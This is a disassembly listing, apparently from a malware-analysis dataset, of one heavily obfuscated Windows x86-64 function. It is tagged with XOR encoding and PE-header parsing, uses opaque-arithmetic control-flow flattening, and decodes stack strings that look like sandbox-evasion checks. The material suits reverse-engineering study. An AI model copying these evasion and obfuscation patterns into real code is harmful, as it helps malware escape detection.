Function at 0x180048a8b
Capabilities:
Encode data using xor
Parse pe header

Disassembly:
push rax
pushf
mov eax, 0xfb4b6f2c
pushf
not eax
add eax, 0xeeeb0dd1
xor eax, 0xa7ce840e
rol eax, 0xf7
popf
pushf
not eax
add eax, 0xfa04a1ab
xor eax, 0xa4da791d
rol eax, 0x7e
popf
cmp eax, 0x29
jne 0x180048ac8
popf
pop rax
jmp 0x18004a850
cmp eax, 0
jne 0x180048ad7
popf
pop rax
jmp 0x180048da7
cmp eax, 3
jne 0x180048ae6
popf
pop rax
jmp 0x180048ff3
cmp eax, 1
jne 0x180048af5
popf
pop rax
jmp 0x180048e6a
cmp eax, 0xd
jne 0x180048b04
popf
pop rax
jmp 0x180049623
cmp eax, 0x1a
jne 0x180048b13
popf
pop rax
jmp 0x180049eac
cmp eax, 0xe
jne 0x180048b22
popf
pop rax
jmp 0x1800496bf
cmp eax, 0x31
jne 0x180048b31
popf
pop rax
jmp 0x18004ac6f
cmp eax, 0x19
jne 0x180048b40
popf
pop rax
jmp 0x180049def
cmp eax, 8
jne 0x180048b4f
popf
pop rax
jmp 0x180049321
cmp eax, 0x2a
jne 0x180048b5e
popf
pop rax
jmp 0x18004a8f8
cmp eax, 0x17
jne 0x180048b6d
popf
pop rax
jmp 0x180049cf0
cmp eax, 0x1c
jne 0x180048b7c
popf
pop rax
jmp 0x180049ffd
cmp eax, 0x2e
jne 0x180048b8b
popf
pop rax
jmp 0x18004ab4b
cmp eax, 0x18
jne 0x180048b9a
popf
pop rax
jmp 0x180049d78
cmp eax, 0x2b
jne 0x180048ba9
popf
pop rax
jmp 0x18004a9f4
cmp eax, 0x1b
jne 0x180048bb8
popf
pop rax
jmp 0x180049f74
cmp eax, 0x2d
jne 0x180048bc7
popf
pop rax
jmp 0x18004aad3
cmp eax, 0x23
jne 0x180048bd6
popf
pop rax
jmp 0x18004a463
cmp eax, 0x25
jne 0x180048be5
popf
pop rax
jmp 0x18004a5ce
cmp eax, 0xf
jne 0x180048bf4
popf
pop rax
jmp 0x180049746
cmp eax, 0x13
jne 0x180048c03
popf
pop rax
jmp 0x180049a47
cmp eax, 0x15
jne 0x180048c12
popf
pop rax
jmp 0x180049b8c
cmp eax, 0x24
jne 0x180048c21
popf
pop rax
jmp 0x18004a4fe
cmp eax, 0x1e
jne 0x180048c30
popf
pop rax
jmp 0x18004a158
cmp eax, 0xc
jne 0x180048c3f
popf
pop rax
jmp 0x180049545
cmp eax, 0x26
jne 0x180048c4e
popf
pop rax
jmp 0x18004a669
cmp eax, 0x27
jne 0x180048c5d
popf
pop rax
jmp 0x18004a743
cmp eax, 0x30
jne 0x180048c6c
popf
pop rax
jmp 0x18004ac13
cmp eax, 0x10
jne 0x180048c7b
popf
pop rax
jmp 0x1800497f8
cmp eax, 0x2c
jne 0x180048c8a
popf
pop rax
jmp 0x18004aa8a
cmp eax, 9
jne 0x180048c99
popf
pop rax
jmp 0x1800493d0
cmp eax, 4
jne 0x180048ca8
popf
pop rax
jmp 0x18004908f
cmp eax, 0x16
jne 0x180048cb7
popf
pop rax
jmp 0x180049c18
cmp eax, 0x28
jne 0x180048cc6
popf
pop rax
jmp 0x18004a7cb
cmp eax, 0xa
jne 0x180048cd5
popf
pop rax
jmp 0x180049491
cmp eax, 0x22
jne 0x180048ce4
popf
pop rax
jmp 0x18004a3bf
cmp eax, 0x14
jne 0x180048cf3
popf
pop rax
jmp 0x180049b09
cmp eax, 7
jne 0x180048d02
popf
pop rax
jmp 0x180049277
cmp eax, 5
jne 0x180048d11
popf
pop rax
jmp 0x18004912f
cmp eax, 2
jne 0x180048d20
popf
pop rax
jmp 0x180048f13
cmp eax, 0x20
jne 0x180048d2f
popf
pop rax
jmp 0x18004a291
cmp eax, 0x1d
jne 0x180048d3e
popf
pop rax
jmp 0x18004a09b
cmp eax, 0x11
jne 0x180048d4d
popf
pop rax
jmp 0x1800498a0
cmp eax, 6
jne 0x180048d5c
popf
pop rax
jmp 0x1800491de
cmp eax, 0x2f
jne 0x180048d6b
popf
pop rax
jmp 0x18004ab82
cmp eax, 0x12
jne 0x180048d7a
popf
pop rax
jmp 0x18004993c
cmp eax, 0x21
jne 0x180048d89
popf
pop rax
jmp 0x18004a302
cmp eax, 0x1f
jne 0x180048d98
popf
pop rax
jmp 0x18004a1f5
cmp eax, 0xb
jne 0x180048da7
popf
pop rax
jmp 0x18004951e
push rbp
push rbx
push rsi
push rdi
push r14
lea rbp, [rsp - 0x3c0]
sub rsp, 0x4c0
mov qword [rbp + 0x18], 0xfffffffffffffffe
mov dword [rbp + 0x3f0], pe_nt_image_headers64
lea rdx, [rbp + 0x3f0]
lea rcx, [rbp + 0x2c0]
jmp 0x180048dde
call qword [0x18001ea48]
mov byte [rbp - 0x35], 0x49
mov byte [rbp - 0x34], 0x7b
mov byte [rbp - 0x33], 0x78
mov byte [rbp - 0x32], 0x78
mov byte [rbp - 0x31], 0x6b
mov byte [rbp - 0x30], reloc.WS2_32.dll_WSACleanup
mov byte [rbp - 0x2f], 0x7a
mov byte [rbp - 0x2e], 0x5b
mov byte [rbp - 0x2d], 0x79
mov byte [rbp - 0x2c], 0x6b
mov byte [rbp - 0x2b], 0x78
xor r14d, r14d
mov byte [rbp - 0x2a], r14b
mov al, byte [rbp - 0x35]
mov edx, r14d
lea edi, [r14 + 6]
lea ebx, [rdi - 5]
push rax
pushf
mov eax, 0xb4bd6fbc
pushf
not eax
add eax, 0xe24e15a0
xor eax, 0xc35aa213
rol eax, 0x41
popf
pushf
not eax
add eax, 0x8177167b
xor eax, 0xa5557e32
rol eax, 0x11
popf
pushf
not eax
add eax, 0x9929ce12
xor eax, 0xa7d3c4a5
rol eax, 0xd6
popf
jmp 0x180048ab9
movsx ecx, byte [rbp + rdx - 0x35]
sub ecx, edi
mov byte [rbp + rdx - 0x35], cl
push rbx
not rbx
sub rdx, rbx
pop rbx
sub rdx, 1
cmp rdx, 0xb
jb 0x180048ee0
push rax
pushf
mov eax, 0xe13b9f2f
pushf
not eax
add eax, 0xa77544bc
xor eax, 0xa66b06cc
rol eax, 0xd8
popf
pushf
not eax
add eax, 0x943d5edc
xor eax, 0xd582127c
rol eax, 0x39
popf
pushf
not eax
add eax, 0xf9b31e1f
xor eax, 0x92ba9537
rol eax, 0x6f
popf
pushf
not eax
add eax, 0xfcfbfb1a
xor eax, 0x93910a0b
rol eax, 0x27
popf
jmp 0x180048ab9
push rax
pushf
mov eax, 0xc6298598
pushf
not eax
add eax, 0x979ac101
xor eax, 0xd5c46488
rol eax, 0xd4
popf
pushf
not eax
add eax, 0xe3d5af68
xor eax, 0xe5d56452
rol eax, 0x3a
popf
jmp 0x180048ab9
lea rdx, [rbp - 0x35]
lea rcx, [rbp + 0x20]
call fcn.1800526b5
nop
mov dword [rsp + 0x20], WSAStartup
mov eax, dword [rsp + 0x20]
xor eax, 0x53
mov byte [rsp + 0x24], al
mov eax, dword [rsp + 0x20]
add al, bl
xor eax, 0x61
mov byte [rsp + 0x25], al
mov eax, dword [rsp + 0x20]
add al, 2
xor eax, 0x6e
mov byte [rsp + 0x26], al
mov eax, dword [rsp + 0x20]
add al, 3
xor eax, 0x64
mov byte [rsp + 0x27], al
mov eax, dword [rsp + 0x20]
add al, 4
xor eax, 0x62
mov byte [rsp + 0x28], al
mov eax, dword [rsp + 0x20]
mov esi, 0x31e090d1
pushf
not esi
add esi, 0xd012c009
xor esi, 0xc9ef4519
rol esi, 0x14
popf
pushf
not esi
add esi, 0xc4b29c6e
xor esi, 0xa1cd1e95
rol esi, 0x41
popf
add al, sil
xor eax, 0x6f
mov byte [rsp + 0x29], al
mov eax, dword [rsp + 0x20]
add al, dil
xor eax, 0x78
mov byte [rsp + 0x2a], al
xor eax, eax
mov byte [rsp + 0x2b], al
mov al, byte [rsp + 0x24]
mov rdx, r14
push rax
pushf
mov eax, 0xbccf5781
pushf
not eax
add eax, 0xc6711537
xor eax, 0xf23ad89a
rol eax, 0xfd
popf
pushf
not eax
add eax, 0xb324089e
xor eax, 0xb3b09bfe
rol eax, 0x5f
popf
jmp 0x180048ab9
movsx eax, byte [rsp + rdx + 0x24]
mov ecx, dword [rsp + 0x20]
add cl, dl
xor ecx, eax
mov byte [rsp + rdx + 0x24], cl
push rbx
not rbx
sub rdx, rbx
pop rbx
sub rdx, 1
cmp rdx, 7
jb 0x18004905c
push rax
pushf
mov eax, 0xb162ca08
pushf
not eax
add eax, 0xfa15669f
xor eax, 0xb4bd0f3e
rol eax, 0xb
popf
pushf
not eax
add eax, 0x87a3a0a2
xor eax, 0x960073f2
rol eax, 0x3c
popf
pushf
not eax
add eax, 0xebee4f92
xor eax, 0xb21de4de
rol eax, 0xf7
popf
jmp 0x180048ab9
push rax
pushf
mov eax, 0x6933bb3b
pushf
not eax
add eax, 0xbe45b8ab
xor eax, 0xe8352567
rol eax, 0x37
popf
pushf
not eax
add eax, 0xae939b1a
xor eax, 0xabb508ad
rol eax, 0x29
popf
jmp 0x180048ab9
mov byte [rsp + 0x2b], r14b
lea rdx, [rsp + 0x24]
lea rcx, [rbp + 0x40]
call fcn.1800526b5
nop
mov byte [rbp + 0x3f8], 0x4d
mov byte [rbp + 0x3f9], 0x75
mov byte [rbp + 0x3fa], WSAStartup
mov byte [rbp + 0x3fb], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0x3fc], 0x81
mov byte [rbp + 0x3fd], r14b
mov al, byte [rbp + 0x3f8]
mov rdx, r14
push rax
pushf
mov eax, 0x66b0cf51
pushf
not eax
add eax, 0xff4b6873
xor eax, 0xcad01733
rol eax, 0x7a
popf
pushf
not eax
add eax, 0xe289f402
xor eax, 0xd7f513ee
rol eax, 0x1c
popf
pushf
not eax
add eax, 0xe8f1b52f
xor eax, 0x878743d1
rol eax, 0xa7
popf
pushf
not eax
add eax, 0xb77b9b8a
xor eax, 0xfcf16c90
rol eax, 0xc7
popf
jmp 0x180048ab9
movsx ecx, byte [rbp + rdx + 0x3f8]
sub ecx, 8
mov byte [rbp + rdx + 0x3f8], cl
push rbx
not rbx
sub rdx, rbx
pop rbx
sub rdx, 1
cmp rdx, rsi
jb 0x180049198
push rax
pushf
mov eax, 0xed298521
pushf
not eax
add eax, 0x8d88ea72
xor eax, 0x9e5d9a4e
rol eax, 0x68
popf
pushf
not eax
add eax, 0xd0712c18
xor eax, 0x8faa68e4
rol eax, 0x34
popf
pushf
not eax
add eax, 0xf922c9a4
xor eax, 0xa57e9c1d
rol eax, 0xed
popf
jmp 0x180048ab9
push rax
pushf
mov eax, 0x458c468
pushf
not eax
add eax, 0x9c3ab697
xor eax, 0xb4e3c24f
rol eax, 0xf1
popf
pushf
not eax
add eax, 0x891b5cfa
xor eax, 0xb681f920
rol eax, 0x78
popf
pushf
not eax
add eax, 0x9053ff93
xor eax, 0xbae526a3
rol eax, 0x8c
popf
jmp 0x180048ab9
lea rdx, [rbp + 0x3f8]
lea rcx, [rbp + 0x60]
call fcn.1800526b5
nop
mov byte [rsp + 0x6b], 0x54
mov byte [rsp + 0x6c], 0x4d
mov byte [rsp + 0x6d], 0x5c
mov byte [rsp + 0x6e], 0x61
mov byte [rsp + 0x6f], 0x4e
mov byte [rsp + 0x70], 0x63
mov byte [rsp + 0x71], 0x5f
mov byte [rsp + 0x72], r14b
mov al, byte [rsp + 0x6b]
mov rdx, r14
push rax
pushf
mov eax, 0xda226261
pushf
not eax
add eax, 0x8e7282d8
xor eax, 0xfeb73380
rol eax, 0x8f
popf
pushf
not eax
add eax, 0x9f70f734
xor eax, 0xdddce50f
rol eax, 0x7e
popf
pushf
not eax
add eax, 0xc50b5594
xor eax, 0xcb0b0ecb
rol eax, 0x69
popf
pushf
not eax
add eax, 0x94acc099
xor eax, 0xc09f6a79
rol eax, 0xde
popf
jmp 0x180048ab9
movsx ecx, byte [rsp + rdx + 0x6b]
sub ecx, 0xc
mov byte [rsp + rdx + 0x6b], cl
push rbx
not rbx
sub rdx, rbx
pop rbx
sub rdx, 1
cmp rdx, 7
jb 0x1800492ee
push rax
pushf
mov eax, 0xbf7b404d
pushf
not eax
add eax, 0xbfb10211
xor eax, 0xec9ba1ac
rol eax, 0x54
popf
pushf
not eax
add eax, 0x8d5a6392
xor eax, 0x934d0b69
rol eax, 0xe7
popf
pushf
not eax
add eax, 0x88581240
xor eax, 0xaac65c73
rol eax, 0x9d
popf
pushf
not eax
add eax, 0xc1cb2484
xor eax, 0xf6d214db
rol eax, 0x5a
popf
jmp 0x180048ab9
push rax
pushf
mov eax, 0x1d995d77
pushf
not eax
add eax, 0xc24c1574
xor eax, 0x84ca9337
rol eax, 0x60
popf
pushf
not eax
add eax, 0xc04de27d
xor eax, 0x9f35bdb1
rol eax, 0xeb
popf
jmp 0x180048ab9
lea rdx, [rsp + 0x6b]
lea rcx, [rbp + 0x80]
call fcn.1800526b5
nop
mov dword [rbp - 0x78], 0xe
mov eax, dword [rbp - 0x78]
xor eax, 0x48
mov byte [rbp - 0x74], al
mov eax, dword [rbp - 0x78]
add al, bl
xor eax, 0x6f
mov byte [rbp - 0x73], al
mov eax, dword [rbp - 0x78]
add al, 2
xor eax, 0x6e
mov byte [rbp - 0x72], al
mov eax, dword [rbp - 0x78]
add al, 3
xor eax, 0x65
mov byte [rbp - 0x71], al
mov eax, dword [rbp - 0x78]
add al, 4
xor eax, 0x20
mov byte [rbp - 0x70], al
mov eax, dword [rbp - 0x78]
add al, sil
xor eax, 0x4c
mov byte [rbp - 0x6f], al
mov eax, dword [rbp - 0x78]
add al, dil
xor eax, 0x65
mov byte [rbp - 0x6e], al
mov eax, dword [rbp - 0x78]
add al, 7
xor eax, 0x65
mov byte [rbp - 0x6d], al
xor eax, eax
mov byte [rbp - 0x6c], al
mov al, byte [rbp - 0x74]
mov rdx, r14
push rax
pushf
mov eax, 0xd6fdefc8
pushf
not eax
add eax, 0xd95dfaa3
xor eax, 0xa043e152
rol eax, 0xe6
popf
pushf
not eax
add eax, 0xb32e4773
xor eax, 0xba33654a
rol eax, 0xe4
popf
jmp 0x180048ab9
movsx eax, byte [rbp + rdx - 0x74]
mov ecx, dword [rbp - 0x78]
add cl, dl
xor ecx, eax
mov byte [rbp + rdx - 0x74], cl
push rbx
not rbx
sub rdx, rbx
pop rbx
sub rdx, 1
cmp rdx, 8
jb 0x18004944b
push rax
pushf
mov eax, 0x1d50bdf9
pushf
not eax
add eax, 0xdb34bbff
xor eax, 0xb7fcd7f5
rol eax, 0xa0
popf
pushf
not eax
add eax, 0xe94e91c0
xor eax, 0xd26e70cd
rol eax, 0xd8
popf
pushf
not eax
add eax, 0xe3c65957
xor eax, 0x82c2e62e
rol eax, 0x7e
popf
pushf
not eax
add eax, 0x8ad578ac
xor eax, 0xb1f67925
rol eax, 0xa2
popf
jmp 0x180048ab9
push rax
pushf
mov eax, 0x752d1b1b
pushf
not eax
add eax, 0xcfce1e9b
xor eax, 0xbae7ff29
rol eax, 0xfb
popf
pushf
not eax
add eax, 0x98513ce1
xor eax, 0x9b813658
rol eax, 0x43
popf
pushf
not eax
add eax, 0x86a4120d
xor eax, 0xb0303cd9
rol eax, 0x92
popf
jmp 0x180048ab9
mov byte [rbp - 0x6c], r14b
lea rdx, [rbp - 0x74]
lea rcx, [rbp + 0xa0]
call fcn.1800526b5
nop
mov dword [rbp - 0x10], 0x59
mov byte [rbp - 0xc], 0x10
mov byte [rbp - 0xb], 0xd
mov byte [rbp - 0xa], reloc.WS2_32.dll_WSACleanup
mov byte [rbp - 9], 0x18
mov byte [rbp - 8], 0x1d
mov byte [rbp - 7], 0x14
mov byte [rbp - 6], 0x10
mov byte [rbp - 5], 0x17
xor eax, eax
mov byte [rbp - 4], al
mov al, byte [rbp - 0xc]
mov r8, r14
push rax
pushf
mov eax, 0x1434a416
pushf
not eax
add eax, 0x957132ef
xor eax, 0xa3c7ea13
rol eax, 0x26
popf
pushf
not eax
add eax, 0xba9b077c
xor eax, 0xc12560c0
rol eax, 0xc2
popf
pushf
not eax
add eax, 0x91d67460
xor eax, 0xad43a293
rol eax, 8
popf
jmp 0x180048ab9
movsx edx, byte [rbp + r8 - 0xc]
mov eax, dword [rbp - 0x10]
movsx ecx, al
mov eax, edx
xor eax, ecx
mov byte [rbp + r8 - 0xc], al
push rbx
not rbx
sub r8, rbx
pop rbx
sub r8, 1
cmp r8, 8
jb 0x18004951e
mov byte [rbp - 4], r14b
lea rdx, [rbp - 0xc]
lea rcx, [rbp + 0xc0]
call fcn.1800526b5
nop
mov dword [rsp + 0x2c], 0x1c
mov eax, dword [rsp + 0x2c]
xor eax, 0x4a
mov byte [rsp + 0x30], al
mov eax, dword [rsp + 0x2c]
add al, bl
xor eax, 0x6f
mov byte [rsp + 0x31], al
mov eax, dword [rsp + 0x2c]
add al, 2
xor eax, 0x68
mov byte [rsp + 0x32], al
mov eax, dword [rsp + 0x2c]
add al, 3
xor eax, 0x6e
mov byte [rsp + 0x33], al
mov eax, dword [rsp + 0x2c]
add al, 4
xor eax, 0x61
mov byte [rsp + 0x34], al
mov eax, dword [rsp + 0x2c]
add al, sil
xor eax, 0x6f
mov byte [rsp + 0x35], al
mov eax, dword [rsp + 0x2c]
add al, dil
xor eax, 0x6e
mov byte [rsp + 0x36], al
xor eax, eax
mov byte [rsp + 0x37], al
mov al, byte [rsp + 0x30]
mov rdx, r14
push rax
pushf
mov eax, 0xd878ccdd
pushf
not eax
add eax, 0xed6f18df
xor eax, 0x9b050969
rol eax, 0xb
popf
pushf
not eax
add eax, 0x820658aa
xor eax, 0xa9559bb6
rol eax, 0x87
popf
pushf
not eax
add eax, 0x834b8938
xor eax, 0xd09ab33b
rol eax, 0x21
popf
pushf
not eax
add eax, 0x8ae22203
xor eax, 0xabb011ab
rol eax, 0x67
popf
jmp 0x180048ab9
movsx eax, byte [rsp + rdx + 0x30]
mov ecx, dword [rsp + 0x2c]
add cl, dl
xor ecx, eax
mov byte [rsp + rdx + 0x30], cl
push rbx
not rbx
sub rdx, rbx
pop rbx
sub rdx, 1
cmp rdx, 7
jb 0x180049679
push rax
pushf
mov eax, 0x81867646
pushf
not eax
add eax, 0xf7658ac9
xor eax, 0xf6056631
rol eax, 0xc6
popf
pushf
not eax
add eax, 0xaa2a9474
xor eax, 0xb3b5e793
rol eax, 0xee
popf
jmp 0x180048ab9
push rax
pushf
mov eax, 0xfdeedb1a
pushf
not eax
add eax, 0xb8c82c86
xor eax, 0xaa2e3086
rol eax, 0xef
popf
pushf
not eax
add eax, 0xc032184d
xor eax, 0xc9a5f15b
rol eax, 0x7a
popf
pushf
not eax
add eax, 0xaa971913
xor eax, 0xaf7c9f18
rol eax, 0x84
popf
jmp 0x180048ab9
mov byte [rsp + 0x37], r14b
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0xe0]
call fcn.1800526b5
nop
mov dword [rbp - 0x28], 0x5d
mov byte [rbp - 0x24], 0x10
mov byte [rbp - 0x23], 0x34
mov byte [rbp - 0x22], 0x31
mov byte [rbp - 0x21], 0x31
mov byte [rbp - 0x20], 0x38
mov byte [rbp - 0x1f], 0x2f
xor eax, eax
mov byte [rbp - 0x1e], al
mov al, byte [rbp - 0x24]
mov r8, r14
push rax
pushf
mov eax, 0xf98cbf4
pushf
not eax
add eax, 0xf623e5a5
xor eax, 0xc6a77281
rol eax, 0x9e
popf
pushf
not eax
add eax, 0xddddd3a6
xor eax, 0x9d55a40a
rol eax, 0x59
popf
pushf
not eax
add eax, 0x9c1da1d6
xor eax, 0xf60c93e4
rol eax, 0x1d
popf
jmp 0x180048ab9
movsx edx, byte [rbp + r8 - 0x24]
mov eax, dword [rbp - 0x28]
movsx ecx, al
mov eax, edx
xor eax, ecx
mov byte [rbp + r8 - 0x24], al
push rbx
not rbx
sub r8, rbx
pop rbx
sub r8, 1
cmp r8, rdi
jb 0x1800497c5
push rax
pushf
mov eax, 0xdba6434b
pushf
not eax
add eax, 0x9dbfffac
xor eax, 0xdb622b39
rol eax, 0xda
popf
pushf
not eax
add eax, 0xc8d32542
xor eax, 0x8d0c7c4b
rol eax, 0xb8
popf
pushf
not eax
add eax, 0xd1de3676
xor eax, 0x9d7c4164
rol eax, 0xf7
popf
pushf
not eax
add eax, 0xcd117d3a
xor eax, 0xa53318ef
rol eax, 0xb7
popf
jmp 0x180048ab9
push rax
pushf
mov eax, 0x6f1738f
pushf
not eax
add eax, 0xb764efba
xor eax, 0xddf3cbb4
rol eax, 0x17
popf
pushf
not eax
add eax, 0x80beb1ae
xor eax, 0xaf87f152
rol eax, 0x47
popf
jmp 0x180048ab9
mov byte [rbp - 0x1e], r14b
lea rdx, [rbp - 0x24]
lea rcx, [rbp + 0x100]
call fcn.1800526b5
nop
mov byte [rbp + 0x408], 0x75
mov byte [rbp + 0x409], WSAStartup
mov byte [rbp + 0x40a], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0x40b], 0x77
mov byte [rbp + 0x40c], 0x82
mov byte [rbp + 0x40d], 0x69
mov byte [rbp + 0x40e], r14b
mov al, byte [rbp + 0x408]
mov rdx, r14
push rax
pushf
mov eax, 0x48215421
pushf
not eax
add eax, 0x8c5c4b6f
xor eax, 0xb048c757
rol eax, 0xbd
popf
pushf
not eax
add eax, 0xe7f4ae87
xor eax, 0xb271157e
rol eax, 0xb7
popf
pushf
not eax
add eax, 0xe5009143
xor eax, 0xb2500968
rol eax, 0x5a
popf
pushf
not eax
add eax, 0xd5471d71
xor eax, 0xabf6513d
rol eax, 0x85
popf
jmp 0x180048ab9
movsx ecx, byte [rbp + rdx + 0x408]
sub ecx, 8
mov byte [rbp + rdx + 0x408], cl
push rbx
not rbx
sub rdx, rbx
pop rbx
sub rdx, 1
cmp rdx, rdi
jb 0x1800498f6
push rax
pushf
mov eax, 0xa64959ab
pushf
not eax
add eax, 0xeeb54ceb
xor eax, 0xeee0d1e7
rol eax, 0x96
popf
pushf
not eax
add eax, 0xa0ae8e93
xor eax, 0xeaa0ebca
rol eax, 0xef
popf
jmp 0x180048ab9
push rax
pushf
mov eax, 0x1034fce8
pushf
not eax
add eax, 0xf4d58aae
xor eax, 0xc3eda02e
rol eax, 0xdc
popf
pushf
not eax
add eax, 0xf779e7ac
xor eax, 0x9338740c
rol eax, 0xcb
popf
pushf
not eax
add eax, 0xada9874c
xor eax, 0xca23789a
rol eax, 0xe9
popf
jmp 0x180048ab9
lea rdx, [rbp + 0x408]
lea rcx, [rbp + 0x120]
call fcn.1800526b5
nop
mov dword [rsp + 0x50], 0x4d
mov eax, dword [rsp + 0x50]
xor eax, 0x50
mov byte [rsp + 0x54], al
mov eax, dword [rsp + 0x50]
add al, bl
xor eax, 0x65
mov byte [rsp + 0x55], al
mov eax, dword [rsp + 0x50]
add al, 2
xor eax, 0x74
mov byte [rsp + 0x56], al
mov eax, dword [rsp + 0x50]
add al, 3
xor eax, 0x65
mov byte [rsp + 0x57], al
mov eax, dword [rsp + 0x50]
add al, 4
xor eax, 0x72
mov byte [rsp + 0x58], al
mov eax, dword [rsp + 0x50]
add al, sil
xor eax, 0x20
mov byte [rsp + 0x59], al
mov eax, dword [rsp + 0x50]
add al, dil
xor eax, 0x57
mov byte [rsp + 0x5a], al
mov eax, dword [rsp + 0x50]
add al, 7
xor eax, 0x69
mov byte [rsp + 0x5b], al
mov eax, dword [rsp + 0x50]
add al, 8
xor eax, 0x6c
mov byte [rsp + 0x5c], al
mov eax, dword [rsp + 0x50]
add al, 9
xor eax, 0x73
mov byte [rsp + 0x5d], al
mov eax, dword [rsp + 0x50]
add al, 0xa
xor eax, 0x6f
mov byte [rsp + 0x5e], al
mov eax, dword [rsp + 0x50]
add al, 0xb
xor eax, 0x6e
mov byte [rsp + 0x5f], al
xor eax, eax
mov byte [rsp + 0x60], al
mov al, byte [rsp + 0x54]
mov rdx, r14
push rax
pushf
mov eax, 0x3ef5fe4b
pushf
not eax
add eax, 0x8378ae57
xor eax, 0xcc93b685
rol eax, 0xa2
popf
pushf
not eax
add eax, 0x8faf1fb2
xor eax, 0xd5cdc5d2
rol eax, 0x96
popf
pushf
not eax
add eax, 0xa9724cc3
xor eax, 0x800a2312
rol eax, 0xd1
popf
jmp 0x180048ab9
movsx eax, byte [rsp + rdx + 0x54]
mov ecx, dword [rsp + 0x50]
add cl, dl
xor ecx, eax
mov byte [rsp + rdx + 0x54], cl
push rbx
not rbx
sub rdx, rbx
pop rbx
sub rdx, 1
cmp rdx, 0xc
jb 0x180049ab0
push rax
pushf
mov eax, 0x7235715d
pushf
not eax
add eax, 0xa5a303f0
xor eax, 0x9f02679b
rol eax, 0x75
popf
pushf
not eax
add eax, 0xad5792a7
xor eax, 0xa2110a35
rol eax, 0xa5
popf
pushf
not eax
add eax, 0xc12db8d6
xor eax, 0xfacbcd20
rol eax, 0xd7
popf
jmp 0x180048ab9
push rax
pushf
mov eax, 0x6e79f94b
pushf
not eax
add eax, 0xf503b98e
xor eax, 0xa18f5355
rol eax, 0xa8
popf
pushf
not eax
add eax, 0xfc896f88
xor eax, 0xa417677d
rol eax, 0x51
popf
pushf
not eax
add eax, 0xd47fd5c3
xor eax, 0xcced1a37
rol eax, 0x97
popf
pushf
not eax
add eax, 0xdbc20ec1
xor eax, 0xbf6cbaac
rol eax, 0xd
popf
jmp 0x180048ab9
mov byte [rsp + 0x60], r14b
lea rdx, [rsp + 0x54]
lea rcx, [rbp + 0x140]
call fcn.1800526b5
nop
mov dword [rbp - 0x1c], 0x27
mov byte [rbp - 0x18], 0x53
mov byte [rbp - 0x17], 0x4e
mov byte [rbp - 0x16], 0x4a
mov byte [rbp - 0x15], 0x4a
mov byte [rbp - 0x14], 0x5e
xor eax, eax
mov byte [rbp - 0x13], al
mov al, byte [rbp - 0x18]
mov r8, r14
push rax
pushf
mov eax, 0x77a7cc13
pushf
not eax
add eax, 0xaeff0a77
xor eax, 0xe476a149
rol eax, 0xb6
popf
pushf
not eax
add eax, 0xc4067737
xor eax, 0xd1d8661c
rol eax, 0xf5
popf
pushf
not eax
add eax, 0xf44a7ae2
xor eax, 0xd36569a8
rol eax, 0x69
popf
jmp 0x180048ab9
movsx edx, byte [rbp + r8 - 0x18]
mov eax, dword [rbp - 0x1c]
movsx ecx, al
mov eax, edx
xor eax, ecx
mov byte [rbp + r8 - 0x18], al
push rbx
not rbx
sub r8, rbx
pop rbx
sub r8, 1
cmp r8, rsi
jb 0x180049be5
push rax
pushf
mov eax, 0x20699879
pushf
not eax
add eax, 0xdbf0e8f1
xor eax, 0xb0e3aba4
rol eax, 0xd6
popf
pushf
not eax
add eax, 0x9b7058c3
xor eax, 0xa6ad2784
rol eax, 0xb6
popf
jmp 0x180048ab9
push rax
pushf
mov eax, 0x413f11ea
pushf
not eax
add eax, 0xc0084ec7
xor eax, 0x96175417
rol eax, 0xf9
popf
pushf
not eax
add eax, 0xe736cc0a
xor eax, 0xcf650f32
rol eax, 0xc1
popf
jmp 0x180048ab9
mov byte [rbp - 0x13], r14b
lea rdx, [rbp - 0x18]
lea rcx, [rbp + 0x160]
call fcn.1800526b5
nop
mov dword [rbp - 0x68], 0x33
mov eax, dword [rbp - 0x68]
xor eax, 0x73
mov byte [rbp - 0x64], al
mov eax, dword [rbp - 0x68]
add al, bl
xor eax, 0x61
mov byte [rbp - 0x63], al
mov eax, dword [rbp - 0x68]
add al, 2
xor eax, 0x6e
mov byte [rbp - 0x62], al
mov eax, dword [rbp - 0x68]
add al, 3
xor eax, 0x64
mov byte [rbp - 0x61], al
mov eax, dword [rbp - 0x68]
add al, 4
xor eax, 0x20
mov byte [rbp - 0x60], al
mov eax, dword [rbp - 0x68]
add al, sil
xor eax, 0x62
mov byte [rbp - 0x5f], al
mov eax, dword [rbp - 0x68]
add al, dil
xor eax, 0x6f
mov byte [rbp - 0x5e], al
mov eax, dword [rbp - 0x68]
add al, 7
xor eax, 0x78
mov byte [rbp - 0x5d], al
xor eax, eax
mov byte [rbp - 0x5c], al
mov al, byte [rbp - 0x64]
mov rdx, r14
push rax
pushf
mov eax, 0xb3395769
pushf
not eax
add eax, 0xbbef34f2
xor eax, 0xb9c62723
rol eax, 0x47
popf
pushf
not eax
add eax, 0xd84e5dd8
xor eax, 0x883728aa
rol eax, 0x90
popf
pushf
not eax
add eax, 0xb2f76166
xor eax, 0x90603b72
rol eax, 0xb3
popf
pushf
not eax
add eax, 0x80dcd91f
xor eax, 0xf47fbb0f
rol eax, 0xf1
popf
jmp 0x180048ab9
movsx eax, byte [rbp + rdx - 0x64]
mov ecx, dword [rbp - 0x68]
add cl, dl
xor ecx, eax
mov byte [rbp + rdx - 0x64], cl
push rbx
not rbx
sub rdx, rbx
pop rbx
sub rdx, 1
cmp rdx, 8
jb 0x180049d45
push rax
pushf
mov eax, 0x755b528a
pushf
not eax
add eax, 0x9123b059
xor eax, 0xe3a31996
rol eax, 0x48
popf
pushf
not eax
add eax, 0xfe6227b0
xor eax, 0x937dceb7
rol eax, 0x4e
popf
jmp 0x180048ab9
push rax
pushf
mov eax, 0x809b0ffe
pushf
not eax
add eax, 0x83232093
xor eax, 0xd5e8bab9
rol eax, 0xfc
popf
pushf
not eax
add eax, 0xb22cb606
xor eax, 0xd4b6aea3
rol eax, 0x7a
popf
jmp 0x180048ab9
mov byte [rbp - 0x5c], r14b
lea rdx, [rbp - 0x64]
lea rcx, [rbp + 0x180]
call fcn.1800526b5
nop
mov byte [rsp + 0x73], WSAStartup
mov byte [rsp + 0x74], 0x65
mov byte [rsp + 0x75], WSAStartup
mov byte [rsp + 0x76], 0x7b
mov byte [rsp + 0x77], 0x65
mov byte [rsp + 0x78], 0x76
mov byte [rsp + 0x79], 0x69
mov byte [rsp + 0x7a], r14b
mov al, byte [rsp + 0x73]
mov rdx, r14
push rax
pushf
mov eax, 0x720ae845
